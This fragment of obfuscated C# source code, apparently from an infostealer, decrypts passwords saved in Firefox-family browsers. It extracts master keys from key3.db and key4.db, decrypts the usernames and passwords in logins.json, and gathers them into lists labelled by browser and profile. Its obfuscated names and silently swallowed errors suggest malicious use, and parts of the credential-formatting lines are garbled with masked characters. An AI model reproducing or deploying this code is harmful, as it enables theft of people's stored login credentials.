} //Если P4Key private static byte[] p3k(string file) { byte[] array = new byte[24]; try { if (!File.Exists(file)) { return(array); } new DataTable(); Gecko9 berkeleyDB = new Gecko9(file); Gecko7 Gecko7 = new Gecko7(vbv(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = vbv(berkeleyDB, (string x) => x.Equals("global-salt")); Gecko8 Gecko8 = new Gecko8(ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), ConvertHexStringToByteArray(Gecko7.EntrySalt)); Gecko8.го7па(); Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, ConvertHexStringToByteArray(Gecko7.Passwordcheck)); Gecko4 Gecko4 = Gecko1.Create(ConvertHexStringToByteArray(vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); Gecko8 Gecko82 = new Gecko8(ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); Gecko82.го7па(); Gecko4 Gecko42 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko82.DataKey, Gecko82.DataIV, Gecko4.Objects[0].Objects[1].ObjectData))).Objects[0].Objects[2].ObjectData); if (Gecko42.Objects[0].Objects[3].ObjectData.Length <= 24) { array = Gecko42.Objects[0].Objects[3].ObjectData; return(array); } Array.Copy(Gecko42.Objects[0].Objects[3].ObjectData, Gecko42.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); return(array); } catch (Exception) { return(array); } }//Если P3Key
public static void Lopos(string profile, byte[] privateKey, string browser_name, string profile_name) { try { string path = CreateTempCopy(Path.Combine(profile, "logins.json")); if (File.Exists(path)) { { foreach (JsonValue item in (IEnumerable)File.ReadAllText(path).FromJSON()["logins"]) { Gecko4 Gecko4 = Gecko1.Create(Convert.FromBase64String(item["encryptedUsername"].ToString(saving: false))); Gecko4 Gecko42 = Gecko1.Create(Convert.FromBase64String(item["encryptedPassword"].ToString(saving: false))); string text = Regex.Replace(Gecko6.lTRjlt(privateKey, Gecko4.Objects[0].Objects[1].Objects[1].ObjectData, Gecko4.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(Gecko6.lTRjlt(privateKey, Gecko42.Objects[0].Objects[1].Objects[1].ObjectData, Gecko42.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); credential.Add("URL : " + item["hostname"] + System.Environment.NewLine + "Login: "******"Password: "******"URL : " + item["hostname"] + System.Environment.NewLine + "Login: "******"Password: "******"Browser : " + browser_name + System.Environment.NewLine + "Profile : " + profile_name + System.Environment.NewLine + credential[i]); GeckoBrowsers.Add("Browser : " + browser_name + System.Environment.NewLine + "Profile : " + profile_name + System.Environment.NewLine + credential[i]); // Console.WriteLine("Browser : " + browser_name + System.Environment.NewLine + "Profile : " + profile_name + System.Environment.NewLine + credential[i]); } credential.Clear(); } } } catch (Exception) { } }
private static byte[] p4k(string file) { byte[] result = new byte[24]; try { if (!File.Exists(file)) { return(result); } CNT cNT = new CNT(file); cNT.ReadTable("metaData"); string s = cNT.ParseValue(0, "item1"); string s2 = cNT.ParseValue(0, "item2)"); Gecko4 Gecko4 = Gecko1.Create(Encoding.Default.GetBytes(s2)); byte[] objectData = Gecko4.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = Gecko4.Objects[0].Objects[1].ObjectData; Gecko8 Gecko8 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); Gecko8.го7па(); Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2); cNT.ReadTable("nssPrivate"); int rowLength = cNT.RowLength; string s3 = string.Empty; for (int i = 0; i < rowLength; i++) { if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(Key4MagicNumber)) { s3 = cNT.ParseValue(i, "a11"); break; } } Gecko4 Gecko42 = Gecko1.Create(Encoding.Default.GetBytes(s3)); objectData = Gecko42.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; objectData2 = Gecko42.Objects[0].Objects[1].ObjectData; Gecko8 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); Gecko8.го7па(); result = Encoding.Default.GetBytes(Gecko6.lTRjlt(Gecko8.DataKey, Gecko8.DataIV, objectData2, PaddingMode.PKCS7)); return(result); } catch (Exception) { return(result); } } //Если P4Key